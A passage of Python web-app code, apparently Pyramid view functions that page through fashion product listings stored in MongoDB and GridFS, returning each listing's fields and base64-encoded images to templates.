document15\n document15_images_list_rawFile = []\n for image_name in document15[\"Images\"]:\n document15_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document11\n #######################\n\n # For the text strings,\n fashion_collection_document11_productID = document11[\"Product ID\"]\n fashion_collection_document11_username = document11[\"Username\"]\n fashion_collection_document11_state = document11[\"State\"]\n fashion_collection_document11_city = document11[\"City\"]\n fashion_collection_document11_description = document11[\"Description\"]\n fashion_collection_document11_mobile = document11[\"Mobile\"]\n fashion_collection_document11_email = document11[\"Email\"]\n fashion_collection_document11_category = document11[\"Category\"]\n fashion_collection_document11_condition = document11[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document11_images_UTF8_list = []\n\n for raw_image in document11_images_list_rawFile:\n document11_binaryImage = raw_image.read()\n document11_base64Image = codecs.encode(document11_binaryImage, 'base64')\n document11_UTF8Image = document11_base64Image.decode('utf-8')\n document11_images_UTF8_list.append(document11_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document11_imageA = document11_images_UTF8_list[0]\n\n try:\n fashion_collection_document11_imageB = document11_images_UTF8_list[1]\n except:\n fashion_collection_document11_imageB = document11_images_UTF8_list[0]\n\n try:\n fashion_collection_document11_imageC = document11_images_UTF8_list[2]\n except:\n fashion_collection_document11_imageC = document11_images_UTF8_list[0]\n\n try:\n fashion_collection_document11_imageD = document11_images_UTF8_list[3]\n except:\n fashion_collection_document11_imageD = document11_images_UTF8_list[0] \n \n try:\n fashion_collection_document11_imageE = document11_images_UTF8_list[4]\n except:\n fashion_collection_document11_imageE = document11_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document12\n #######################\n\n # For the text strings,\n fashion_collection_document12_productID = document12[\"Product ID\"]\n fashion_collection_document12_username = document12[\"Username\"]\n fashion_collection_document12_state = document12[\"State\"]\n fashion_collection_document12_city = document12[\"City\"]\n fashion_collection_document12_description = document12[\"Description\"]\n fashion_collection_document12_mobile = document12[\"Mobile\"]\n fashion_collection_document12_email = document12[\"Email\"]\n fashion_collection_document12_category = document12[\"Category\"]\n fashion_collection_document12_condition = document12[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document12_images_UTF8_list = []\n\n for raw_image in document12_images_list_rawFile:\n document12_binaryImage = raw_image.read()\n document12_base64Image = codecs.encode(document12_binaryImage, 'base64')\n document12_UTF8Image = document12_base64Image.decode('utf-8')\n document12_images_UTF8_list.append(document12_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document12_imageA = document12_images_UTF8_list[0]\n\n try:\n fashion_collection_document12_imageB = document12_images_UTF8_list[1]\n except:\n fashion_collection_document12_imageB = document12_images_UTF8_list[0]\n\n try:\n fashion_collection_document12_imageC = document12_images_UTF8_list[2]\n except:\n fashion_collection_document12_imageC = document12_images_UTF8_list[0]\n\n try:\n fashion_collection_document12_imageD = document12_images_UTF8_list[3]\n except:\n fashion_collection_document12_imageD = document12_images_UTF8_list[0] \n \n try:\n fashion_collection_document12_imageE = document12_images_UTF8_list[4]\n except:\n fashion_collection_document12_imageE = document12_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document13\n #######################\n\n # For the text strings,\n fashion_collection_document13_productID = document13[\"Product ID\"]\n fashion_collection_document13_username = document13[\"Username\"]\n fashion_collection_document13_state = document13[\"State\"]\n fashion_collection_document13_city = document13[\"City\"]\n fashion_collection_document13_description = document13[\"Description\"]\n fashion_collection_document13_mobile = document13[\"Mobile\"]\n fashion_collection_document13_email = document13[\"Email\"]\n fashion_collection_document13_category = document13[\"Category\"]\n fashion_collection_document13_condition = document13[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document13_images_UTF8_list = []\n\n for raw_image in document13_images_list_rawFile:\n document13_binaryImage = raw_image.read()\n document13_base64Image = codecs.encode(document13_binaryImage, 'base64')\n document13_UTF8Image = document13_base64Image.decode('utf-8')\n document13_images_UTF8_list.append(document13_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document13_imageA = document13_images_UTF8_list[0]\n\n try:\n fashion_collection_document13_imageB = document13_images_UTF8_list[1]\n except:\n fashion_collection_document13_imageB = document13_images_UTF8_list[0]\n\n try:\n fashion_collection_document13_imageC = document13_images_UTF8_list[2]\n except:\n fashion_collection_document13_imageC = document13_images_UTF8_list[0]\n\n try:\n fashion_collection_document13_imageD = document13_images_UTF8_list[3]\n except:\n fashion_collection_document13_imageD = document13_images_UTF8_list[0] \n \n try:\n fashion_collection_document13_imageE = document13_images_UTF8_list[4]\n except:\n fashion_collection_document13_imageE = document13_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document14\n #######################\n\n # For the text strings,\n fashion_collection_document14_productID = document14[\"Product ID\"]\n fashion_collection_document14_username = document14[\"Username\"]\n fashion_collection_document14_state = document14[\"State\"]\n fashion_collection_document14_city = document14[\"City\"]\n fashion_collection_document14_description = document14[\"Description\"]\n fashion_collection_document14_mobile = document14[\"Mobile\"]\n fashion_collection_document14_email = document14[\"Email\"]\n fashion_collection_document14_category = document14[\"Category\"]\n fashion_collection_document14_condition = document14[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document14_images_UTF8_list = []\n\n for raw_image in document14_images_list_rawFile:\n document14_binaryImage = raw_image.read()\n document14_base64Image = codecs.encode(document14_binaryImage, 'base64')\n document14_UTF8Image = document14_base64Image.decode('utf-8')\n document14_images_UTF8_list.append(document14_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document14_imageA = document14_images_UTF8_list[0]\n\n try:\n fashion_collection_document14_imageB = document14_images_UTF8_list[1]\n except:\n fashion_collection_document14_imageB = document14_images_UTF8_list[0]\n\n try:\n fashion_collection_document14_imageC = document14_images_UTF8_list[2]\n except:\n fashion_collection_document14_imageC = document14_images_UTF8_list[0]\n\n try:\n fashion_collection_document14_imageD = document14_images_UTF8_list[3]\n except:\n fashion_collection_document14_imageD = document14_images_UTF8_list[0] \n \n try:\n fashion_collection_document14_imageE = document14_images_UTF8_list[4]\n except:\n fashion_collection_document14_imageE = document14_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document15\n #######################\n\n # For the text strings,\n fashion_collection_document15_productID = document15[\"Product ID\"]\n fashion_collection_document15_username = document15[\"Username\"]\n fashion_collection_document15_state = document15[\"State\"]\n fashion_collection_document15_city = document15[\"City\"]\n fashion_collection_document15_description = document15[\"Description\"]\n fashion_collection_document15_mobile = document15[\"Mobile\"]\n fashion_collection_document15_email = document15[\"Email\"]\n fashion_collection_document15_category = document15[\"Category\"]\n fashion_collection_document15_condition = document15[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document15_images_UTF8_list = []\n\n for raw_image in document15_images_list_rawFile:\n document15_binaryImage = raw_image.read()\n document15_base64Image = codecs.encode(document15_binaryImage, 'base64')\n document15_UTF8Image = document15_base64Image.decode('utf-8')\n document15_images_UTF8_list.append(document15_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document15_imageA = document15_images_UTF8_list[0]\n\n try:\n fashion_collection_document15_imageB = document15_images_UTF8_list[1]\n except:\n fashion_collection_document15_imageB = document15_images_UTF8_list[0]\n\n try:\n fashion_collection_document15_imageC = document15_images_UTF8_list[2]\n except:\n fashion_collection_document15_imageC = document15_images_UTF8_list[0]\n\n try:\n fashion_collection_document15_imageD = document15_images_UTF8_list[3]\n except:\n fashion_collection_document15_imageD = document15_images_UTF8_list[0] \n \n try:\n fashion_collection_document15_imageE = document15_images_UTF8_list[4]\n except:\n fashion_collection_document15_imageE = document15_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client3.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID11' : fashion_collection_document11_productID,\n 'username11' : fashion_collection_document11_username,\n 'state11' : fashion_collection_document11_state,\n 'city11' : fashion_collection_document11_city,\n 'description11' : fashion_collection_document11_description,\n 'mobile11' : fashion_collection_document11_mobile,\n 'email11' : fashion_collection_document11_email,\n 'category11' : fashion_collection_document11_category,\n 'condition11': fashion_collection_document11_condition,\n 'image11A' : fashion_collection_document11_imageA,\n 'image11B' : fashion_collection_document11_imageB,\n 'image11C' : fashion_collection_document11_imageC,\n 'image11D': fashion_collection_document11_imageD,\n 'image11E': fashion_collection_document11_imageE,\n\n 'productID12' : fashion_collection_document12_productID,\n 'username12' : fashion_collection_document12_username,\n 'state12' : fashion_collection_document12_state,\n 'city12' : fashion_collection_document12_city,\n 'description12' : fashion_collection_document12_description,\n 'mobile12' : fashion_collection_document12_mobile,\n 'email12' : fashion_collection_document12_email,\n 'category12' : fashion_collection_document12_category,\n 'condition12': fashion_collection_document12_condition,\n 'image12A' : fashion_collection_document12_imageA,\n 'image12B' : fashion_collection_document12_imageB,\n 'image12C' : fashion_collection_document12_imageC,\n 'image12D': fashion_collection_document12_imageD,\n 'image12E': fashion_collection_document12_imageE,\n\n 'productID13' : fashion_collection_document13_productID,\n 'username13' : fashion_collection_document13_username,\n 'state13' : fashion_collection_document13_state,\n 'city13' : fashion_collection_document13_city,\n 'description13' : fashion_collection_document13_description,\n 'mobile13' : fashion_collection_document13_mobile,\n 'email13' : fashion_collection_document13_email,\n 'category13' : fashion_collection_document13_category,\n 'condition13': fashion_collection_document13_condition,\n 'image13A' : fashion_collection_document13_imageA,\n 'image13B' : fashion_collection_document13_imageB,\n 'image13C' : fashion_collection_document13_imageC,\n 'image13D': fashion_collection_document13_imageD,\n 'image13E': fashion_collection_document13_imageE,\n\n 'productID14' : fashion_collection_document14_productID,\n 'username14' : fashion_collection_document14_username,\n 'state14' : fashion_collection_document14_state,\n 'city14' : fashion_collection_document14_city,\n 'description14' : fashion_collection_document14_description,\n 'mobile14' : fashion_collection_document14_mobile,\n 'email14' : fashion_collection_document14_email,\n 'category14' : fashion_collection_document14_category,\n 'condition14': fashion_collection_document14_condition,\n 'image14A' : fashion_collection_document14_imageA,\n 'image14B' : fashion_collection_document14_imageB,\n 'image14C' : fashion_collection_document14_imageC,\n 'image14D': fashion_collection_document14_imageD,\n 'image14E': fashion_collection_document14_imageE,\n\n 'productID15' : fashion_collection_document15_productID,\n 'username15' : fashion_collection_document15_username,\n 'state15' : fashion_collection_document15_state,\n 'city15' : fashion_collection_document15_city,\n 'description15' : fashion_collection_document15_description,\n 'mobile15' : fashion_collection_document15_mobile,\n 'email15' : fashion_collection_document15_email,\n 'category15' : fashion_collection_document15_category,\n 'condition15': fashion_collection_document15_condition,\n 'image15A' : fashion_collection_document15_imageA,\n 'image15B' : fashion_collection_document15_imageB,\n 'image15C' : fashion_collection_document15_imageC,\n 'image15D': fashion_collection_document15_imageD,\n 'image15E': fashion_collection_document15_imageE,\n }\n\n\n # *************************************************************************************************************\n # ************************************************************************************************************* \n @view_config(route_name='fashion_viewProducts2_page4', renderer='templates/fashion_templates/fashion_viewProducts2_page4.pt')\n def fashion_viewProducts2_page4(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client4 = MongoClient('%s' % connection_string)\n db = client4.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection_fashion = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection_fashion = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = text_collection_fashion.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(15).limit(5) #This returns 25 records\n\n # Push documents into a list\n fashion_collection_list = []\n\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n document16 = fashion_collection_list[0]\n document17 = fashion_collection_list[1]\n document18 = fashion_collection_list[2]\n document19 = fashion_collection_list[3]\n document20 = fashion_collection_list[4]\n\n\n # Extracting images\n # The images for document16\n document16_images_list_rawFile = []\n for image_name in document16[\"Images\"]:\n document16_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document17\n document17_images_list_rawFile = []\n for image_name in document17[\"Images\"]:\n document17_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document18\n document18_images_list_rawFile = []\n for image_name in document18[\"Images\"]:\n document18_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document19\n document19_images_list_rawFile = []\n for image_name in document19[\"Images\"]:\n document19_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document20\n document20_images_list_rawFile = []\n for image_name in document20[\"Images\"]:\n document20_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document16\n #######################\n\n # For the text strings,\n fashion_collection_document16_productID = document16[\"Product ID\"]\n fashion_collection_document16_username = document16[\"Username\"]\n fashion_collection_document16_state = document16[\"State\"]\n fashion_collection_document16_city = document16[\"City\"]\n fashion_collection_document16_description = document16[\"Description\"]\n fashion_collection_document16_mobile = document16[\"Mobile\"]\n fashion_collection_document16_email = document16[\"Email\"]\n fashion_collection_document16_category = document16[\"Category\"]\n fashion_collection_document16_condition = document16[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document16_images_UTF8_list = []\n\n for raw_image in document16_images_list_rawFile:\n document16_binaryImage = raw_image.read()\n document16_base64Image = codecs.encode(document16_binaryImage, 'base64')\n document16_UTF8Image = document16_base64Image.decode('utf-8')\n document16_images_UTF8_list.append(document16_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document16_imageA = document16_images_UTF8_list[0]\n\n try:\n fashion_collection_document16_imageB = document16_images_UTF8_list[1]\n except:\n fashion_collection_document16_imageB = document16_images_UTF8_list[0]\n\n try:\n fashion_collection_document16_imageC = document16_images_UTF8_list[2]\n except:\n fashion_collection_document16_imageC = document16_images_UTF8_list[0]\n\n try:\n fashion_collection_document16_imageD = document16_images_UTF8_list[3]\n except:\n fashion_collection_document16_imageD = document16_images_UTF8_list[0] \n \n try:\n fashion_collection_document16_imageE = document16_images_UTF8_list[4]\n except:\n fashion_collection_document16_imageE = document16_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document17\n #######################\n\n # For the text strings,\n fashion_collection_document17_productID = document17[\"Product ID\"]\n fashion_collection_document17_username = document17[\"Username\"]\n fashion_collection_document17_state = document17[\"State\"]\n fashion_collection_document17_city = document17[\"City\"]\n fashion_collection_document17_description = document17[\"Description\"]\n fashion_collection_document17_mobile = document17[\"Mobile\"]\n fashion_collection_document17_email = document17[\"Email\"]\n fashion_collection_document17_category = document17[\"Category\"]\n fashion_collection_document17_condition = document17[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document17_images_UTF8_list = []\n\n for raw_image in document17_images_list_rawFile:\n document17_binaryImage = raw_image.read()\n document17_base64Image = codecs.encode(document17_binaryImage, 'base64')\n document17_UTF8Image = document17_base64Image.decode('utf-8')\n document17_images_UTF8_list.append(document17_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document17_imageA = document17_images_UTF8_list[0]\n\n try:\n fashion_collection_document17_imageB = document17_images_UTF8_list[1]\n except:\n fashion_collection_document17_imageB = document17_images_UTF8_list[0]\n\n try:\n fashion_collection_document17_imageC = document17_images_UTF8_list[2]\n except:\n fashion_collection_document17_imageC = document17_images_UTF8_list[0]\n\n try:\n fashion_collection_document17_imageD = document17_images_UTF8_list[3]\n except:\n fashion_collection_document17_imageD = document17_images_UTF8_list[0] \n \n try:\n fashion_collection_document17_imageE = document17_images_UTF8_list[4]\n except:\n fashion_collection_document17_imageE = document17_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document18\n #######################\n\n # For the text strings,\n fashion_collection_document18_productID = document18[\"Product ID\"]\n fashion_collection_document18_username = document18[\"Username\"]\n fashion_collection_document18_state = document18[\"State\"]\n fashion_collection_document18_city = document18[\"City\"]\n fashion_collection_document18_description = document18[\"Description\"]\n fashion_collection_document18_mobile = document18[\"Mobile\"]\n fashion_collection_document18_email = document18[\"Email\"]\n fashion_collection_document18_category = document18[\"Category\"]\n fashion_collection_document18_condition = document18[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document18_images_UTF8_list = []\n\n for raw_image in document18_images_list_rawFile:\n document18_binaryImage = raw_image.read()\n document18_base64Image = codecs.encode(document18_binaryImage, 'base64')\n document18_UTF8Image = document18_base64Image.decode('utf-8')\n document18_images_UTF8_list.append(document18_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document18_imageA = document18_images_UTF8_list[0]\n\n try:\n fashion_collection_document18_imageB = document18_images_UTF8_list[1]\n except:\n fashion_collection_document18_imageB = document18_images_UTF8_list[0]\n\n try:\n fashion_collection_document18_imageC = document18_images_UTF8_list[2]\n except:\n fashion_collection_document18_imageC = document18_images_UTF8_list[0]\n\n try:\n fashion_collection_document18_imageD = document18_images_UTF8_list[3]\n except:\n fashion_collection_document18_imageD = document18_images_UTF8_list[0] \n \n try:\n fashion_collection_document18_imageE = document18_images_UTF8_list[4]\n except:\n fashion_collection_document18_imageE = document18_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document19\n #######################\n\n # For the text strings,\n fashion_collection_document19_productID = document19[\"Product ID\"]\n fashion_collection_document19_username = document19[\"Username\"]\n fashion_collection_document19_state = document19[\"State\"]\n fashion_collection_document19_city = document19[\"City\"]\n fashion_collection_document19_description = document19[\"Description\"]\n fashion_collection_document19_mobile = document19[\"Mobile\"]\n fashion_collection_document19_email = document19[\"Email\"]\n fashion_collection_document19_category = document19[\"Category\"]\n fashion_collection_document19_condition = document19[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document19_images_UTF8_list = []\n\n for raw_image in document19_images_list_rawFile:\n document19_binaryImage = raw_image.read()\n document19_base64Image = codecs.encode(document19_binaryImage, 'base64')\n document19_UTF8Image = document19_base64Image.decode('utf-8')\n document19_images_UTF8_list.append(document19_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document19_imageA = document19_images_UTF8_list[0]\n\n try:\n fashion_collection_document19_imageB = document19_images_UTF8_list[1]\n except:\n fashion_collection_document19_imageB = document19_images_UTF8_list[0]\n\n try:\n fashion_collection_document19_imageC = document19_images_UTF8_list[2]\n except:\n fashion_collection_document19_imageC = document19_images_UTF8_list[0]\n\n try:\n fashion_collection_document19_imageD = document19_images_UTF8_list[3]\n except:\n fashion_collection_document19_imageD = document19_images_UTF8_list[0] \n \n try:\n fashion_collection_document19_imageE = document19_images_UTF8_list[4]\n except:\n fashion_collection_document19_imageE = document19_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document20\n #######################\n\n # For the text strings,\n fashion_collection_document20_productID = document20[\"Product ID\"]\n fashion_collection_document20_username = document20[\"Username\"]\n fashion_collection_document20_state = document20[\"State\"]\n fashion_collection_document20_city = document20[\"City\"]\n fashion_collection_document20_description = document20[\"Description\"]\n fashion_collection_document20_mobile = document20[\"Mobile\"]\n fashion_collection_document20_email = document20[\"Email\"]\n fashion_collection_document20_category = document20[\"Category\"]\n fashion_collection_document20_condition = document20[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document20_images_UTF8_list = []\n\n for raw_image in document20_images_list_rawFile:\n document20_binaryImage = raw_image.read()\n document20_base64Image = codecs.encode(document20_binaryImage, 'base64')\n document20_UTF8Image = document20_base64Image.decode('utf-8')\n document20_images_UTF8_list.append(document20_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document20_imageA = document20_images_UTF8_list[0]\n\n try:\n fashion_collection_document20_imageB = document20_images_UTF8_list[1]\n except:\n fashion_collection_document20_imageB = document20_images_UTF8_list[0]\n\n try:\n fashion_collection_document20_imageC = document20_images_UTF8_list[2]\n except:\n fashion_collection_document20_imageC = document20_images_UTF8_list[0]\n\n try:\n fashion_collection_document20_imageD = document20_images_UTF8_list[3]\n except:\n fashion_collection_document20_imageD = document20_images_UTF8_list[0] \n \n try:\n fashion_collection_document20_imageE = document20_images_UTF8_list[4]\n except:\n fashion_collection_document20_imageE = document20_images_UTF8_list[0]\n\n\n # Close our database connection and free up resources.\n client4.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID16' : fashion_collection_document16_productID,\n 'username16' : fashion_collection_document16_username,\n 'state16' : fashion_collection_document16_state,\n 'city16' : fashion_collection_document16_city,\n 'description16' : fashion_collection_document16_description,\n 'mobile16' : fashion_collection_document16_mobile,\n 'email16' : fashion_collection_document16_email,\n 'category16' : fashion_collection_document16_category,\n 'condition16': fashion_collection_document16_condition,\n 'image16A' : fashion_collection_document16_imageA,\n 'image16B' : fashion_collection_document16_imageB,\n 'image16C' : fashion_collection_document16_imageC,\n 'image16D': fashion_collection_document16_imageD,\n 'image16E': fashion_collection_document16_imageE,\n\n 'productID17' : fashion_collection_document17_productID,\n 'username17' : fashion_collection_document17_username,\n 'state17' : fashion_collection_document17_state,\n 'city17' : fashion_collection_document17_city,\n 'description17' : fashion_collection_document17_description,\n 'mobile17' : fashion_collection_document17_mobile,\n 'email17' : fashion_collection_document17_email,\n 'category17' : fashion_collection_document17_category,\n 'condition17': fashion_collection_document17_condition,\n 'image17A' : fashion_collection_document17_imageA,\n 'image17B' : fashion_collection_document17_imageB,\n 'image17C' : fashion_collection_document17_imageC,\n 'image17D': fashion_collection_document17_imageD,\n 'image17E': fashion_collection_document17_imageE,\n\n 'productID18' : fashion_collection_document18_productID,\n 'username18' : fashion_collection_document18_username,\n 'state18' : fashion_collection_document18_state,\n 'city18' : fashion_collection_document18_city,\n 'description18' : fashion_collection_document18_description,\n 'mobile18' : fashion_collection_document18_mobile,\n 'email18' : fashion_collection_document18_email,\n 'category18' : fashion_collection_document18_category,\n 'condition18': fashion_collection_document18_condition,\n 'image18A' : fashion_collection_document18_imageA,\n 'image18B' : fashion_collection_document18_imageB,\n 'image18C' : fashion_collection_document18_imageC,\n 'image18D': fashion_collection_document18_imageD,\n 'image18E': fashion_collection_document18_imageE,\n\n 'productID19' : fashion_collection_document19_productID,\n 'username19' : fashion_collection_document19_username,\n 'state19' : fashion_collection_document19_state,\n 'city19' : fashion_collection_document19_city,\n 'description19' : fashion_collection_document19_description,\n 'mobile19' : fashion_collection_document19_mobile,\n 'email19' : fashion_collection_document19_email,\n 'category19' : fashion_collection_document19_category,\n 'condition19': fashion_collection_document19_condition,\n 'image19A' : fashion_collection_document19_imageA,\n 'image19B' : fashion_collection_document19_imageB,\n 'image19C' : fashion_collection_document19_imageC,\n 'image19D': fashion_collection_document19_imageD,\n 'image19E': fashion_collection_document19_imageE,\n\n 'productID20' : fashion_collection_document20_productID,\n 'username20' : fashion_collection_document20_username,\n 'state20' : fashion_collection_document20_state,\n 'city20' : fashion_collection_document20_city,\n 'description20' : fashion_collection_document20_description,\n 'mobile20' : fashion_collection_document20_mobile,\n 'email20' : fashion_collection_document20_email,\n 'category20' : fashion_collection_document20_category,\n 'condition20': fashion_collection_document20_condition,\n 'image20A' : fashion_collection_document20_imageA,\n 'image20B' : fashion_collection_document20_imageB,\n 'image20C' : fashion_collection_document20_imageC,\n 'image20D': fashion_collection_document20_imageD,\n 'image20E': fashion_collection_document20_imageE,\n }\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='fashion_viewProducts2_page5', renderer='templates/fashion_templates/fashion_viewProducts2_page5.pt')\n def fashion_viewProducts2_page5(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client5 = MongoClient('%s' % connection_string)\n db = client5.spacenetng_database\n\n # Create or open a text based records collection called fashion_text_collection\n text_collection_fashion = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n image_collection_fashion = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = text_collection_fashion.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(20).limit(5) #This returns 25 records\n\n # Push documents into a list\n fashion_collection_list = []\n\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n document21 = fashion_collection_list[0]\n document22 = fashion_collection_list[1]\n document23 = fashion_collection_list[2]\n document24 = fashion_collection_list[3]\n document25 = fashion_collection_list[4]\n\n\n # Extracting images\n # The images for document21\n document21_images_list_rawFile = []\n for image_name in document21[\"Images\"]:\n document21_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document22\n document22_images_list_rawFile = []\n for image_name in document22[\"Images\"]:\n document22_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document23\n document23_images_list_rawFile = []\n for image_name in document23[\"Images\"]:\n document23_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document24\n document24_images_list_rawFile = []\n for image_name in document24[\"Images\"]:\n document24_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n # The images for document25\n document25_images_list_rawFile = []\n for image_name in document25[\"Images\"]:\n document25_images_list_rawFile.append(image_collection_fashion.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document21\n #######################\n\n # For the text strings,\n fashion_collection_document21_productID = document21[\"Product ID\"]\n fashion_collection_document21_username = document21[\"Username\"]\n fashion_collection_document21_state = document21[\"State\"]\n fashion_collection_document21_city = document21[\"City\"]\n fashion_collection_document21_description = document21[\"Description\"]\n fashion_collection_document21_mobile = document21[\"Mobile\"]\n fashion_collection_document21_email = document21[\"Email\"]\n fashion_collection_document21_category = document21[\"Category\"]\n fashion_collection_document21_condition = document21[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document21_images_UTF8_list = []\n\n for raw_image in document21_images_list_rawFile:\n document21_binaryImage = raw_image.read()\n document21_base64Image = codecs.encode(document21_binaryImage, 'base64')\n document21_UTF8Image = document21_base64Image.decode('utf-8')\n document21_images_UTF8_list.append(document21_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n fashion_collection_document21_imageA = document21_images_UTF8_list[0]\n\n try:\n fashion_collection_document21_imageB = document21_images_UTF8_list[1]\n except:\n fashion_collection_document21_imageB = document21_images_UTF8_list[0]\n\n try:\n fashion_collection_document21_imageC = document21_images_UTF8_list[2]\n except:\n fashion_collection_document21_imageC = document21_images_UTF8_list[0]\n\n try:\n fashion_collection_document21_imageD = document21_images_UTF8_list[3]\n except:\n fashion_collection_document21_imageD = document21_images_UTF8_list[0] \n \n try:\n fashion_collection_document21_imageE = document21_images_UTF8_list[4]\n except:\n fashion_collection_document21_imageE = document21_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document22\n #######################\n\n # For the text strings,\n fashion_collection_document22_productID = document22[\"Product ID\"]\n fashion_collection_document22_username = document22[\"Username\"]\n fashion_collection_document22_state = document22[\"State\"]\n fashion_collection_document22_city = document22[\"City\"]\n fashion_collection_document22_description = document22[\"Description\"]\n fashion_collection_document22_mobile = document22[\"Mobile\"]\n fashion_collection_document22_email = document22[\"Email\"]\n fashion_collection_document22_category = document22[\"Category\"]\n fashion_collection_document22_condition = document22[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document22_images_UTF8_list = []\n\n for 